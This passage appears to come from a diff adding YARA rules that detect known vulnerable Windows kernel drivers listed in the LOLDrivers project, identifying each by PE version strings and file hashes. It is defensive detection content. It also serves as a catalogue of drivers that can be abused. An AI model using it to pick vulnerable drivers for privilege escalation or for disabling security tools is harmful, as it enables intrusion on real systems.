+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000310033002c0020004e006f00760065006c006c002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CCopyrightNovellIncAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Bsmisys_5962 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - BSMIXP64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "59626cac380d8fe0b80a6d4c4406d62ba0683a2f0f68d50ad506ca1b1cf25347"
+		hash = "552f70374715e70c4ade591d65177be2539ec60f751223680dfaccb9e0be0ed9"
+		date = "2023-06-14"
+		score = 40
+		id = "86a0715c-4f0b-52ba-b6dc-44bd4499a222"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0053004d00490020004400720069007600650072 } /* FileDescription SMIDriver */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0033 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0033 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00420053004d0049002e007300790073 } /* InternalName BSMIsys */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00420053004d0049002e007300790073 } /* OriginalFilename BSMIsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000420049004f005300540041005200200043006f00720070002e00200032003000310031 } /* LegalCopyright CopyrightCBIOSTARCorp */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_99F4 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "99f4994a0e5bd1bf6e3f637d3225c69ff4cd620557e23637533e7f18d7d6cba1"
+		hash = "56a3c9ac137d862a85b4004f043d46542a1b61c6acb438098a9640469e2d80e7"
+		hash = "c2a4ddcc9c3b339d752c48925d62fc4cc5adbf6fae8fedef74cdd47e88da01f8"
+		hash = "50d5eaa168c077ce5b7f15b3f2c43bd2b86b07b1e926c1b332f8cb13bd2e0793"
+		hash = "9c10e2ec4f9ef591415f9a784b93dc9c9cdafa7c69602c0dc860c5b62222e449"
+		hash = "6f1ff29e2e710f6d064dc74e8e011331d807c32cc2a622cbe507fd4b4d43f8f4"
+		hash = "cd4a249c3ef65af285d0f8f30a8a96e83688486aab515836318a2559757a89bb"
+		hash = "d8b58f6a89a7618558e37afc360cd772b6731e3ba367f8d58734ecee2244a530"
+		hash = "3f2fda9a7a9c57b7138687bbce49a2e156d6095dddabb3454ea09737e02c3fa5"
+		hash = "fd8669794c67b396c12fc5f08e9c004fdf851a82faf302846878173e4fbecb03"
+		hash = "9529efb1837b1005e5e8f477773752078e0a46500c748bc30c9b5084d04082e6"
+		hash = "f088b2ba27dacd5c28f8ee428f1350dca4bc7c6606309c287c801b2e1da1a53d"
+		hash = "131d5490ceb9a5b2324d8e927fea5becfc633015661de2f4c2f2375a3a3b64c6"
+		hash = "e3936d3356573ce2e472495cd3ce769f49a613e453b010433dafce5ea498ddc2"
+		hash = "89b0017bc30cc026e32b758c66a1af88bd54c6a78e11ec2908ff854e00ac46be"
+		hash = "18776682fcc0c6863147143759a8d4050a4115a8ede0136e49a7cf885c8a4805"
+		hash = "7893307df2fdde25371645a924f0333e1b2de31b6bc839d8e2a908d7830c6504"
+		hash = "79e2d37632c417138970b4feba91b7e10c2ea251c5efe3d1fc6fa0190f176b57"
+		hash = "952199c28332bc90cfd74530a77ee237967ed32b3c71322559c59f7a42187dc4"
+		hash = "101402d4f5d1ae413ded499c78a5fcbbc7e3bae9b000d64c1dd64e3c48c37558"
+		hash = "39cfde7d401efce4f550e0a9461f5fc4d71fa07235e1336e4f0b4882bd76550e"
+		hash = "85866e8c25d82c1ec91d7a8076c7d073cccf421cf57d9c83d80d63943a4edd94"
+		hash = "b7a20b5f15e1871b392782c46ebcc897929443d82073ee4dcb3874b6a5976b5d"
+		hash = "d92eab70bcece4432258c9c9a914483a2267f6ab5ce2630048d3a99e8cb1b482"
+		hash = "984a77e5424c6d099051441005f2938ae92b31b5ad8f6521c6b001932862add7"
+		hash = "e005e8d183e853a27ad3bb56f25489f369c11b0d47e3d4095aad9291b3343bf1"
+		hash = "a961f5939088238d76757669a9a81905e33f247c9c635b908daac146ae063499"
+		hash = "a9706e320179993dade519a83061477ace195daa1b788662825484813001f526"
+		hash = "47f0cdaa2359a63ad1389ef4a635f1f6eee1f63bdf6ef177f114bdcdadc2e005"
+		hash = "38fa0c663c8689048726666f1c5e019feaa9da8278f1df6ff62da33961891d2a"
+		hash = "ef86c4e5ee1dbc4f81cd864e8cd2f4a2a85ee4475b9a9ab698a4ae1cc71fbeb0"
+		date = "2023-06-14"
+		score = 40
+		id = "b1168895-eef9-5dfc-9b19-b3e0e302586d"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c00690062 } /* FileDescription NTIOLib */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 } /* CompanyName MSI */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 } /* InternalName NTIOLibsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 } /* ProductName NTIOLib */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 } /* OriginalFilename NTIOLibsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300038002d00320030003000390020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCMSIAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Cpuid_Cpuzsys_Cpuidservice_26E3 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "26e3bfef255efd052a84c3c43994c73222b14c95db9a4b1fc2e98f1a5cb26e43"
+		hash = "3e07bb866d329a2f9aaa4802bad04fdac9163de9bf9cfa1d035f5ca610b4b9bf"
+		hash = "c50f8ab8538c557963252b702c1bd3cee4604b5fc2497705d2a6a3fd87e3cc26"
+		date = "2023-06-14"
+		score = 40
+		id = "6820d35b-66a3-512f-a734-0adefbf6a183"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055004900440020004400720069007600650072 } /* FileDescription CPUIDDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00430050005500490044 } /* CompanyName CPUID */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003100360033003800350020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e00310036003300380035 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 } /* InternalName cpuzsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043005000550049004400200073006500720076006900630065 } /* ProductName CPUIDservice */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 } /* OriginalFilename cpuzsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400280043002900200032003000310033002000430050005500490044 } /* LegalCopyright CopyrightCCPUID */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Asustekcomputerinc_Bsdefsys_Supportsstsfssteeatftatcamfntamfnbvctvcbmftwc_5F5E {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - Bs_Def.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "5f5e5f1c93d961985624768b7c676d488c7c7c1d4c043f6fc1ea1904fefb75be"
+		hash = "3326e2d32bbabd69feb6024809afc56c7e39241ebe70a53728c77e80995422a5"
+		hash = "0040153302b88bee27eb4f1eca6855039e1a057370f5e8c615724fa5215bada3"
+		hash = "36b9e31240ab0341873c7092b63e2e0f2cab2962ebf9b25271c3a1216b7669eb"
+		date = "2023-06-14"
+		score = 40
+		id = "e4e1fc9a-b453-5996-8675-7accb0de023e"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00440065006600610075006c0074002000420049004f005300200046006c0061007300680020004400720069007600650072 } /* FileDescription DefaultBIOSFlashDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004100730075007300540065006b00200043006f006d0070007500740065007200200049006e0063002e } /* CompanyName AsusTekComputerInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003200340020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00320034 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00420073005f00440065006600360034002e007300790073 } /* InternalName BsDefsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0053007500700070006f0072007400200053005300540033003900530046003000320030002c0053005300540032003900450045003000320030002c004100540034003900460030003000320054002c00410054003200390043003000320030002c0041004d003200390046003000300032004e0054002c0041004d003200390046003000300032004e0042002c0056003200390043003500310030003000320054002c0056003200390043003500310030003000320042002c004d0032003900460030003000320054002c0057003200390043003000320030002e } /* ProductName SupportSSTSFSSTEEATFTATCAMFNTAMFNBVCTVCBMFTWC */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00420073005f00440065006600360034002e007300790073 } /* OriginalFilename BsDefsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004100730075007300540065006b00200043006f006d00700075007400650072002e00200031003900390032002d0032003000300034 } /* LegalCopyright CopyrightCAsusTekComputer */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Panyazilimbilisimteknolojileriticltdsti_Panioxsys_Paniolibrary_6B83 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - PanIOx64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "6b830ea0db6546a044c9900d3f335e7820c2a80e147b0751641899d1a5aa8f74"
+		date = "2023-06-14"
+		score = 40
+		id = "c5eec4c9-0210-5e0e-b819-96a6943f270d"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00540065006d0070006500720061007400750072006500200061006e0064002000730079007300740065006d00200069006e0066006f0072006d006100740069006f006e0020006400720069007600650072 } /* FileDescription Temperatureandsysteminformationdriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00500061006e002000590061007a0069006c0069006d002000420069006c006900730069006d002000540065006b006e006f006c006f006a0069006c0065007200690020005400690063002e0020004c00740064002e0020005300740069002e } /* CompanyName PanYazilimBilisimTeknolojileriTicLtdSti */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00500061006e0049004f007800360034002e007300790073 } /* InternalName PanIOxsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500061006e0049004f0020004c006900620072006100720079 } /* ProductName PanIOLibrary */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00500061006e0049004f007800360034002e007300790073 } /* OriginalFilename PanIOxsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280063002900200032003000310032002d0032003000310034002000500061006e002000590061007a0069006c0069006d002000420069006c006900730069006d002000540065006b006e006f006c006f006a0069006c0065007200690020005400690063002e0020004c00740064002e0020005300740069002e } /* LegalCopyright CopyrightcPanYazilimBilisimTeknolojileriTicLtdSti */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Cpuid_Cpuzsys_Cpuidservice_2A6D {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "2a6db9facf9e13d35c37dd468be04bae5f70c6127a9aee76daebddbdec95d486"
+		hash = "1e16a01ef44e4c56e87abfbe03b2989b0391b172c3ec162783ad640be65ab961"
+		hash = "aebcbfca180e372a048b682a4859fd520c98b5b63f6e3a627c626cb35adc0399"
+		date = "2023-06-14"
+		score = 40
+		id = "85b7f3f1-6324-543f-8855-8cb13096b367"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055004900440020004400720069007600650072 } /* FileDescription CPUIDDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00430050005500490044 } /* CompanyName CPUID */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003100360033003800350020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e00310036003300380035 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 } /* InternalName cpuzsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043005000550049004400200073006500720076006900630065 } /* ProductName CPUIDservice */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 } /* OriginalFilename cpuzsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400280043002900200032003000310032002000430050005500490044 } /* LegalCopyright CopyrightCCPUID */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_82FB {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ElbyCDIO.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "82fbcb371d53b8a76a25fbbafaae31147c0d1f6b9f26b3ea45262c2267386989"
+		date = "2023-06-14"
+		score = 40
+		id = "db7c877e-4b76-5b66-8a4f-a33cb7c76d5a"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f007700730020004e0054002f0032003000300030002f0058005000200049002f004f0020006400720069007600650072 } /* FileDescription ElbyCDWindowsNTXPIOdriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 } /* CompanyName ElaborateBytesAG */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200037 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f } /* InternalName ElbyCDIO */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 } /* ProductName CDRTools */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 } /* OriginalFilename ElbyCDIOsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003700200045006c00610062006f0072006100740065002000420079007400650073002000410047 } /* LegalCopyright CopyrightCElaborateBytesAG */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Entechtaiwan_Seasys_Softenginex_6CB5 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - Se64a.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "6cb51ae871fbd5d07c5aad6ff8eea43d34063089528603ca9ceb8b4f52f68ddc"
+		date = "2023-06-14"
+		score = 40
+		id = "c6298a6f-761c-5e78-b97c-9713b29b0e00"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006e005400650063006800200073006f006600740045006e00670069006e006500200078003600340020006b00650072006e0065006c002d006d006f006400650020006400720069007600650072 } /* FileDescription EnTechsoftEnginexkernelmodedriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006e0054006500630068002000540061006900770061006e } /* CompanyName EnTechTaiwan */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0031 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00730065003600340061002e007300790073 } /* InternalName seasys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0073006f006600740045006e00670069006e0065002d007800360034 } /* ProductName softEnginex */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00730065003600340061002e007300790073 } /* OriginalFilename seasys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280063002900200045006e0054006500630068002000540061006900770061006e002c00200032003000300034002d0032003000300036002e } /* LegalCopyright CopyrightcEnTechTaiwan */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpot_Avginternetsecuritysystem_0B54 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "0b542e47248611a1895018ec4f4033ea53464f259c74eb014d018b19ad818917"
+		date = "2023-06-14"
+		score = 40
+		id = "87caf882-a59a-55ca-89ce-a2c2115a1e50"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200041006e0074006900200052006f006f0074006b00690074 } /* FileDescription AVGAntiRootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* CompanyName AVGTechnologiesCZsro */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0038002e003100330030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0038002e003100330030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 } /* InternalName aswArPot */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 } /* ProductName AVGInternetSecuritySystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000320030002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* LegalCopyright CopyrightCAVGTechnologiesCZsro */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_1273 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "1273b74c3c1553eaa92e844fbd51f716356cc19cf77c2c780d4899ec7738fbd1"
+		date = "2023-06-14"
+		score = 40
+		id = "323e0a63-c74c-5d9c-b3af-c64d2bceb724"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription Avastantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 } /* CompanyName AVASTSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0035002e0033003900320036002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0035002e0033003900320036002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 } /* ProductName AvastAntivirus */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003800200041005600410053005400200053006f006600740077006100720065 } /* LegalCopyright CopyrightcAVASTSoftware */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_3854 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "385485e643aa611e97ceae6590c6a8c47155886123dbb9de1e704d0d1624d039"
+		hash = "b773511fdb2e370dec042530910a905472fcc2558eb108b246fd3200171b04d3"
+		date = "2023-06-14"
+		score = 40
+		id = "2c945052-bb7b-52be-9c11-18eedac5a28e"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0037002e00330030002e0030002e0031003000360035 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0037002e00330030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100370020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Zemanaltd_Zam_8FE9 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "8fe9828bea83adc8b1429394db7a556a17f79846ad0bfb7f242084a5c96edf2a"
+		date = "2023-06-14"
+		score = 40
+		id = "45ac5fe9-25e2-5ee9-a410-95d19ec75e33"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d } /* FileDescription ZAM */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e } /* CompanyName ZemanaLtd */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00310037002e003100310035 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d } /* ProductName ZAM */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright ZemanaLtdAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Windowsrcodenamelonghornddkprovider_Cpuzsys_Windowsrcodenamelonghornddkdriver_4932 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "49329fa09f584d1960b09c1b15df18c0bc1c4fdb90bf48b6b5703e872040b668"
+		hash = "2ef7df384e93951893b65500dac6ee09da6b8fe9128326caad41b8be4da49a1e"
+		hash = "dbb457ae1bd07a945a1466ce4a206c625e590aee3922fa7d86fbe956beccfc98"
+		hash = "8e5aef7c66c0e92dfc037ee29ade1c8484b8d7fadebdcf521d2763b1d8215126"
+		date = "2023-06-14"
+		score = 40
+		id = "6fa00211-cb55-5870-92ec-18a6e2c7eb89"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055004900440020004400720069007600650072 } /* FileDescription CPUIDDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f00770073002000280052002900200043006f00640065006e0061006d00650020004c006f006e00670068006f0072006e002000440044004b002000700072006f00760069006400650072 } /* CompanyName WindowsRCodenameLonghornDDKprovider */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0030002e0036003000300030002e003100360033003800360020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0030002e0036003000300030002e00310036003300380036 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 } /* InternalName cpuzsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f00770073002000280052002900200043006f00640065006e0061006d00650020004c006f006e00670068006f0072006e002000440044004b0020006400720069007600650072 } /* ProductName WindowsRCodenameLonghornDDKdriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 } /* OriginalFilename cpuzsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright MicrosoftCorporationAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_3D9E {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "3d9e83b189fcf5c3541c62d1f54a0da0a4e5b62c3243d2989afc46644056c8e3"
+		date = "2023-06-14"
+		score = 40
+		id = "023a5c66-aae0-5583-95aa-0a62f3f27352"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c0069006200200046006f00720020004e00540049004f004c00690062005f00450043004f } /* FileDescription NTIOLibForNTIOLibECO */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 } /* CompanyName MSI */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0032 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0032 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 } /* InternalName NTIOLibsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 } /* ProductName NTIOLib */
